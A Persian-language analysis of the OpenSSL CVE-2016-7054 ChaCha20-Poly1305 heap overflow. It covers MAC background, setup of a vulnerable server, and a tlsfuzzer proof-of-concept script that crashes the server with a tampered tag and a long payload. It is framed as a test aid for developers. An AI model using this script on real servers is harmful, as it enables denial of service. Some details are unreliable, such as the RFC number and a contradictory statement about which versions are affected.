همانطور که در روز سهشنبه (۸ نوامبر ۲۰۱۶) اعلام شد، شرکت OpenSSL، نسخه ۱٫۱٫۰c این نرمافزار را منتشر کرد که سه آسیبپذیری امنیتی را در این نرمافزار پوشش داده بود.
جدیترین آسیبپذیری، یک اشکال سرریز بافر(۱) heap-based است (CVE-2016-7054)، که به ارتباطات(۲) TLS که از CHACHA20-POLY1305 استفاده میکنند؛ مربوط میشود.
این آسیبپذیری، توسط Robert Święcki از تیم امنیتی گوگل در ۲۵ سپتامبر ۲۰۱۶ گزارش شد که میتواند منجر به حمله DoS توسط خرابی payloadهای بزرگتر شود و درنتیجه منجر به crash کردن نرمافزار OpenSSL میشود.
شدت این عیب، بالا در نظر گرفته شده است و بر روی نسخههای ۱٫۱٫۰ به بعد تأثیرگذار نیست. اگرچه تیم OpenSSL گزارش داده است که هیچ مدرکی مبنی بر قابلیت بهرهبرداری از این آسیبپذیری برای حمله DoS وجود ندارد.
به تمامی کاربران توصیه میشود که نرمافزارهای OpenSSL خود را به نسخه ۱٫۱٫۰c بهروزرسانی کنند.
مشابه اطلاعیههای قبلی، OpenSSL به کاربران خود یادآوری میکند که این شرکت از تاریخ ۳۱ دسامبر ۲۰۱۶ به بعد، نسخه ۱٫۰٫۱ نرمافزار OpenSSL را پشتیبانی نمیکند و بعد از این تاریخ دیگر هیچگونه بهروزرسانی امنیتی برای آن منتشر نخواهد کرد[۱].
۱ آنالیز آسیبپذیری CVE-2016-7054
۱-۱ بررسی اجمالی الگوریتمهای MAC، پروتکل TLS و الگوریتمهای CHACHA20-POLY1305
چند روز پیش، Fortinet یک پست در وبلاگ خود با عنوان آنالیز سرریز بافر ChaCha20-Poly1305 Heap منتشر کرد[۲]. یک آسیبپذیری در کتابخانه OpenSSL کشف شده بود که بر روی نسخههای ۱٫۱٫۰a و ۱٫۱٫۰b تأثیرگذار بود و به عنوان سرریز بافر Heap دارای شدت بالا از آن یاد میشود. کد آسیبپذیر در فایل openssl-OpenSSL_1_1_0a\crypto\evp\e_chacha20_poly1305.c قرار دارد[۳].
اجازه دهید نگاهی به این کد بیندازیم، بخشهای آسیبپذیر این کد در ادامه توضیح داده شدهاند:
به منظور پیدا کردن دید بهتر بر روی این موضوع، در اینجا به بررسی MACها و نحوه پیادهسازی آنها میپردازیم:
۱-۱-۱ MAC یا کد تأیید پیام (Message Authentication Code) چیست؟
در یک طرح رمزنگاری AES در حالت CBC، ما فقط تأمین کردن محرمانه توسط الگوریتم را در اختیار داریم. قبل از ادامه بحث، اجازه دهید چند عبارت را به صورت دقیق تعریف کنیم:
محرمانه (Confidentiality): توانایی جلوگیری کردن از استراق سمع از کشف کردن پیام متنی یا اطلاعاتی درباره پیام متنی.
تمامیت (Integrity): توانایی جلوگیری کردن از یک مهاجم فعال نسبت به تغییر دادن یک پیام بدون خبردار شدن قانونی کاربران
اعتبار (Authenticity): توانایی اثبات اینکه یک پیام توسط یک مرکز خاص تولید شده و جلوگیری کردن از جعل پیامهای جدید. این امر اصولاً از طریق یک کد تأیید پیام صورت میپذیرد. توجه به این نکته حائز اهمیت است که اعتبار، به صورت خودکار تمامیت را دربر دارد.
این بدان معنی است که استفاده از دنبالههایی نظیر AES در حالت CBC هیچگونه ضمانتی مبنی بر اینکه یک پیام در طول مسیر دستکاری نشده باشد ارائه نمیدهد یا به معنای دیگر، استفاده از این دنبالهها تنها در برابر مهاجمان غیرفعال (passive) میتواند از ما دفاع کند. بنابراین با افزودن MAC به یک طرح رمزنگاری، ما میتوانیم اعتبار و تمامیت را به همراه محرمانگی تأمین کنیم.
حال بیایید فرض کنیم که ما پیام متنی واقعی را در اختیار داریم که قرار است رمزنگاری شود و MAC از این پیام استخراج شود، به منظور فرستادن این دو بخش از اطلاعات، ما باید یکی از موارد زیر را انتخاب کنیم:
طرح شماره ۱: Encrypt-then-MAC یا EtM
در این طرح ما پیام را رمزنگاری کرده، یک MAC را از پیام رمزنگاریشده محاسبه میکنیم و آن را به یک متن رمز شده که در حال حاضر تولید شده ضمیمه میکنیم که در IPSEC مورد استفاده قرار میگیرد.
طرح شماره ۲: Encrypt-and-MAC یا E&M
در این طرح، ما MAC را از یک پیام متنی تمیز محاسبه کرده، متن پیامی تمیز را رمزنگاری کرده و MAC را به انتهای پیام رمزنگاری شده، ضمیمه میکنیم که در SSH مورد استفاده قرار میگیرد.
طرح شماره ۳: MAC-then-encrypt یا MtE
در این طرح، ما MAC را از یک پیام متنی تمیز محاسبه کرده و آن را به یک پیام ضمیمه میکنیم، سپس تمام بسته موجود را رمزنگاری میکنیم که در TLS مورد استفاده قرار میگیرد.
بحث و اختلافنظرهای بسیاری در اینترنت وجود دارد که کدامیک از موارد بالا بهتر است و کدامیک نسبت به آسیبپذیریهای موجود مقاومتر است. بدون اینکه وارد جزئیات دقیق و مزایا و معایب این روشها شویم، به شما پیشنهاد میشود که این بحث را در اینجا دنبال کنید:
https://crypto.stackexchange.com/a/205/30687
اما به صورت خلاصه، روش Encrypt-then-MAC از لحاظ تئوری بهتر است، از آنجاکه اثبات امنیت آن سادهتر است، MAC از اینکه مهاجم متنهای رمزنگاری شده نامعتبر را فراهم کند، جلوگیری میکند بنابراین آن را در مقابل حملات متون رمزی انتخاب شده مصون نگه میدارد و هنگامی که MAC از پیام رمزنگاری شده تولید شد، هیچ راهی برای آشکار شدن یا نشت اطلاعات مربوط به متن وجود ندارد، اما پیادهسازی این روش به طور صحیح دشوارتر از بقیه روشهاست.
۲-۱ تولید کردن MAC
یک الگوریتم MAC گاهی keyed hash نامیده میشود، چراکه یکی از راههایی که ما میتوانیم MAC را پیادهسازی کنیم استفاده از توابع hash مانند HMAC است [۴]. ما همچنین میتوانیم از رمزهای بلاک شده در روشهایی مانند CBC-MAC استفاده کنیم [۵]. در شکل آورده شده در زیر، ما میتوانیم ببینیم که فرستنده مورد نظر، یک MAC تولید کرده است و آن را از طریق متن رمز شده ارسال میکند و سپس دریافت کننده آن را تأیید میکند.
دنبالههای رمز TLS، به همراه AES-GCM یا CHACHA20-POLY1305 الگوریتمهای MAC را یکپارچه کردهاند درحالیکه دیگر دنبالهها مانند AES-CBC از HMAC به عنوان الگوریتم تولید MAC استفاده میکنند. در ادامه، توضیحاتی مربوط به الگوریتمهای CHACHA20 و POLY1305 آورده شده است.
۳-۱ رشته رمز CHaCHa20 و تأییدکننده Poly1305
RFC 5739 الگوریتمهای CHACHA20 و POLY1305 را تعریف میکند. CHACHA20 یک رشته رمز است و POLY1305 نوعی تأییدکننده به شمار میآید. این دو الگوریتم در TLS با یکدیگر ترکیب شدهاند تا یک AEAD (رمزنگاری احراز هویت با دادههای اضافی(۳)) را تشکیل دهند. در این میان ۲ نکته اصلی وجود دارد که این الگوریتمها را دارای اهمیت کرده است. نکته اول این است که AES تبدیل به یک استاندارد طلایی در رمزنگاری شده است که البته تنها راهحل ما جهت رمزنگاری است و جایگزین آن ۳DES است که درحال حاضر قدیمی شده است. برای استاندارد AES حتی پیادهسازی سختافزاری نیز وجود دارد که به محاسبات آن سرعت میبخشد و آن را تبدیل به یک انتخاب بهتر نسبت به دیگر الگوریتمها میکند؛ اما بعضی از دستگاههای موبایل از این مشخصه محروم هستند. در حال حاضر، اگر یک آسیبپذیری در AES کشف شود، راه حل جایگزین مشخصی وجود ندارد، بنابراین حرکت هوشمندانه این است که به دنبال فراهم کردن و پشتیبانی برای AES باشیم.
۱-۳-۱ ChaCha20
ChaCha20 به نوعی یک پالایشِ الگوریتم Salsa20 است و از کلید ۲۵۶ بیتی استفاده میکند. ChaCha20 به طور موفقیتآمیزی تابع بلاک ChaCha20 را با کلید و رشته تصادفی مشابه فراخوانی میکند و پارامترهای ضد بلاک(۴) را به صورت موفقیتآمیزی افزایش میدهد. ChaCha20 سپس نتیجه به دست آمده را توسط نوشتن اعداد با ترتیب little-endian مرتبسازی کرده و یک بلاکkeystream میسازد. این رشته توسط plaintext و به منظور تولید ciphertext، XORed خواهد شد.
ChaCha20 این موارد را به عنوان ورودی دریافت میکند:
- کلید ۲۵۶ بیتی
- شمارنده اولیه ۳۲ بیتی
- ۹۶ بیت رشته تصادفی (IV)
- طول دلخواه متن ساده
و خروجی یک متن رمز شده است با طول مشابه متن ساده
۲-۳-۱ Poly1305
Poly1305 یک تأییدکننده one-time است و به عنوان ورودی موارد زیر را دریافت میکند:
- کلید ۳۲ بایتی one-time
- یک پیام
و خروجیها یک تگ ۱۶ بایتی است که برای تأیید کردن پیام مورد استفاده قرار میگیرد. Poly1305 از AES برای رمزنگاری کردن رشته تصادفی استفاده میکند اما AES میتواند توسط یک تابع کلید دلخواه به عنوان یک paper state جایگزین شود[۶].
بنابراین استفاده از ChaCha20-Poly1305 ما را به نتایج زیر نائل میکند:
در این مرحله، ما اطلاعات کافی در ارتباط با پایه و اساس رمزنگاری داریم و میتوانیم وارد مرحله بعد شویم. مرحله بعد، کار بر روی کد آسیبپذیر توسط تولید کردن یک پیام TLS با یک tag معیوب است.
۴-۱ پیامهای TLS
در ارتباط با پیامهایی که در پروتکل TLS مورد استفاده قرار میگیرد، قبلاً توضیح داده شده است؛ برای مرور کردن آن، دیاگرام زیر را در نظر بگیرید:
ما یک ClientHello همراه با یک دنباله رمز ارسال میکنیم که از ChaCha20 و Poly1305 مانند DHE-RSA-CHACHA20-POLY1305-SHA256 استفاده میکند. اگرکه سرور از این دنباله رمز پشتیانی کند این پیام توسط یک server hello بازگردانده خواهد شد، در غیر این صورت، یک پیغام خطای handshake ارسال میکند (پشتیبانی از ChaCha20-Poly1305 در OpenSSL 1.1.0 آغاز شد.). بعد از تبادل کلید و پایان یافتن پیامها، ما میتوانیم دادههای مربوط به برنامه را ارسال کنیم و این همان جایی است که ما میخواهیم یک MAC بدذات را به منظور ایجاد آسیبپذیری ارسال کنیم. در ادامه نحوه رسیدن به این هدف توضیح داده میشود.
با توجه به توضیحات ارائه شده در قبل، در حال حاضر در مورد MAC ها اطلاعات کافی داریم و اینکه چگونه در context مربوط به پروتکل TLS کار میکنند، هماکنون میتوانیم پا را فراتر نهاده و آسیبپذیری سرریز heap را در OpenSSL نسخههای ۱٫۱٫۰a و ۱٫۱٫۰b آنالیز کنیم. برای بهرهبرداری از این آسیبپذیری ما باید با یک دنباله رمز ChaCha20-Poly1305 از طریق سرور مذاکره کنیم و یک پیام با یک MAC بدذات ارسال کنیم. در ابتدا نحوه نصب سرور که OpenSSL 1.1.0a بر روی آن در حال اجراست را توضیح میدهیم.
۵-۱ نحوه راهاندازی OpenSSL 1.1.0a
ما میتوانیم نسخه مربوطه را از طریق لینک زیر دانلود کنیم:
https://www.openssl.org/source/old/1.1.0
بعد از خارج کردن این فایل از حالت فشرده، ما بسته مربوطه را تنظیم میکنیم اما از آنجایی که نمیخواهیم بر روی نسخه نصب شده OpenSSL که در حال حاضر بر روی سیستم است، overwrite شود، تنظیمات مربوطه را به صورت زیر انجام میدهیم:
./config –prefix=/opt/openssl-1.1.0a –openssldir=/opt/openssl-1.1.0a |
---|
و سپس بسته مربوطه را نصب نمایید. در مرحله بعد بخش تولید گواهینامهها و کلیدها را اجرا کرده و OpenSSL را برای دریافت ارتباطات TLS نصب مینماییم:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /opt/openssl-1.1.0a/cert.key -out /opt/openssl-1.1.0a/cert.crt /opt/openssl-1.1.0a/bin/openssl s_server -cipher ‘DHE-RSA-CHACHA20-POLY1305’ -key /opt/openssl-1.1.0a/cert.key -cert /opt/openssl-1.1.0a/cert.crt -accept 443 -www -tls1_2 -msg |
---|
۶-۱ با استفاده از ChaCha20-Poly1305 به همراه MAC بدذات به سرور متصل شوید.
به منظور انجام این کار، موضوع Network TLS Fuzzer های موجود در اینترنت را جستجو کردیم، ۲ بسته python معروف بدین منظور وجود دارد [۷]:
۱٫ Scapy-SSL_TLS
این بسته بر روی Scapy ساخته شده است و به شما این امکان را میدهد تا پیامهای TLS را در فرمت روان Scapy بسازید. برای مثال، کد آورده شده در اینجا، کلید تبادل کاربر تولید میکند و پیامهای spec رمزی را تغییر میدهد:
۱ def tls_client_key_exchange(sock): ۲ client_key_exchange = TLSRecord(version=tls_version) / TLSHandshake() / sock.tls_ctx.get_client_kex_data() ۳ client_ccs = TLSRecord(version=tls_version) / TLSChangeCipherSpec() ۴ sock.sendall(TLS.from_records([client_key_exchange, client_ccs])) ۵ sock.sendall(to_raw(TLSFinished(), sock.tls_ctx)) ۶ server_finished = sock.recvall() ۷ server_finished.show() |
---|
استفاده از این بسته آسان است، اما متأسفانه بر روی بسته CryptoDomex مربوطه به python ساخته شده است که هنوز Poly1305 را پشتیبانی نمیکند. بنابراین به منظور رسیدن به هدف خود باید یک کتابخانه دیگر را پیدا کنیم:
۲٫ TLSFuzzer
این بسته بر اساس بسته tlslite-ng است که سوکتهای TLS را اداره میکند و به زبان python نوشته شده است و دنبالههای رمز ChaCha20-Poly1305 را پشتیبانی میکند. این بخش از این کد بخش mac پیامهای TLS را fuzz میکند [۸].
conversation = Connect(“localhost”, 443) node = conversation ciphers = [CipherSuite.TLS_RSA_WITH_AES_128_CBC_SHA, CipherSuite.TLS_EMPTY_RENEGOTIATION_INFO_SCSV] node = node.add_child(ClientHelloGenerator(ciphers)) node = node.add_child(ExpectServerHello()) node = node.add_child(ExpectCertificate()) node = node.add_child(ExpectServerHelloDone()) node = node.add_child(ClientKeyExchangeGenerator()) node = node.add_child(ChangeCipherSpecGenerator()) node = node.add_child(FinishedGenerator()) node = node.add_child(ExpectChangeCipherSpec()) node = node.add_child(ExpectFinished()) node = node.add_child(fuzz_mac(ApplicationDataGenerator( b”GET / HTTP/1.0\n\n”), xors={pos:val})) node = node.add_child(ExpectAlert(AlertLevel.fatal, AlertDescription.bad_record_mac)) node = node.add_child(ExpectClose()) |
---|
۲ بهرهبرداری کردن از آسیبپذیری
با استفاده از TLS Fuzzer و عملکرد fuzz_application_data در آن، قادر خواهیم بود یک mac بدذات را به نمونه OpenSSL آسیبپذیر خود ارسال کنیم[۹].
conversations = {} # ۱۶ chars: POLY1305 tag 128 bit # Tampering the last bit suffices to damage the MAC # The payload has to be long enough to trigger heap overflow n = 15000 fuzzes = [(-1, 1)] for pos, val in fuzzes: conversation = Connect(sys.argv[1], int(sys.argv[2])) node = conversation ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256] node = node.add_child(ClientHelloGenerator(ciphers)) node = node.add_child(ExpectServerHello()) node = node.add_child(ExpectCertificate()) node = node.add_child(ExpectServerKeyExchange()) node = node.add_child(ExpectServerHelloDone()) node = node.add_child(ClientKeyExchangeGenerator()) node = node.add_child(ChangeCipherSpecGenerator()) node = node.add_child(FinishedGenerator()) node = node.add_child(ExpectChangeCipherSpec()) node = node.add_child(ExpectFinished()) node = node.add_child(fuzz_encrypted_message( ApplicationDataGenerator(b”GET / HTTP/1.0\n” + n * b”A” + b”\n\n”), xors={pos:val})) node = node.add_child(ExpectAlert(AlertLevel.fatal, AlertDescription.bad_record_mac)) node = node.add_child(ExpectClose()) |
---|
اگر OpenSSL مورد استفاده آسیبپذیر نباشد، با هشدار bad_record_mac به شما پاسخ خواهد داد و ارتباط را قطع خواهد کرد. در اینجا مثال crash کردن آسیبپذیری آورده شده است:
این کد نمونه به منظور تیمهای توسعه دهنده در اینجا آورده شده است تا بتوانند محصولات و بستههای سفارشی خود را در برابر این آسیبپذیری که ممکن است بر پایه و یا زیرشاخه کتابخانه OpenSSL باشد، مورد آزمایش قرار دهند. وصله مربوط به این آسیبپذیری در OpenSSL 1.1.0c آورده شده است و شاخص ‘out’ از انتهای ciphertext به ابتدای آن انتقال داده شده است. با بهروزرسانی به این نسخه، مشکل برطرف خواهد شد. توجه به این نکته حائز اهمیت است که استفاده از این آسیبپذیری تنها محدود به Denial of Service خواهد بود[۱۰ و ۱۱].
۳ منابع
[۱] http://thehackernews.com/2016/11/openssl-patch-update.html
[۲] http://blog.fortinet.com/2016/11/23/analysis-of-openssl-chacha20-poly1305-heap-buffer-overflow-cve-2016-7054
[۳]https://github.com/openssl/openssl/commit/99d97842ddb5fbbbfb5e9820a64ebd19afe569f6#diff-7833c5e4cec70f95c68a9c6cc528c30d
[۴] https://en.wikipedia.org/wiki/Hash-based_message_authentication_code
[۵] https://en.wikipedia.org/wiki/CBC-MAC
[۶] http://cr.yp.to/mac/poly1305-20050329.pdf
[۷] https://github.com/tintinweb/scapy-ssl_tls
[۸] https://github.com/tomato42/tlsfuzzer
[۹] https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py
[۱۰] https://www.silverf0x00.com/overview-of-mac-algorithms-fuzzing-tls-and-finally-exploiting-cve-2016-7054-part-1/
[۱۱] https://www.silverf0x00.com/generating-the-exploit-for-openssl-1-1-0a-b-cve-2016-7054-part-23/
(۱) Buffer overflow
(۲) Transport Layer Security
(۳) Authentication Encryption with Additional Dat
(۴) block counter parameters
ثبت ديدگاه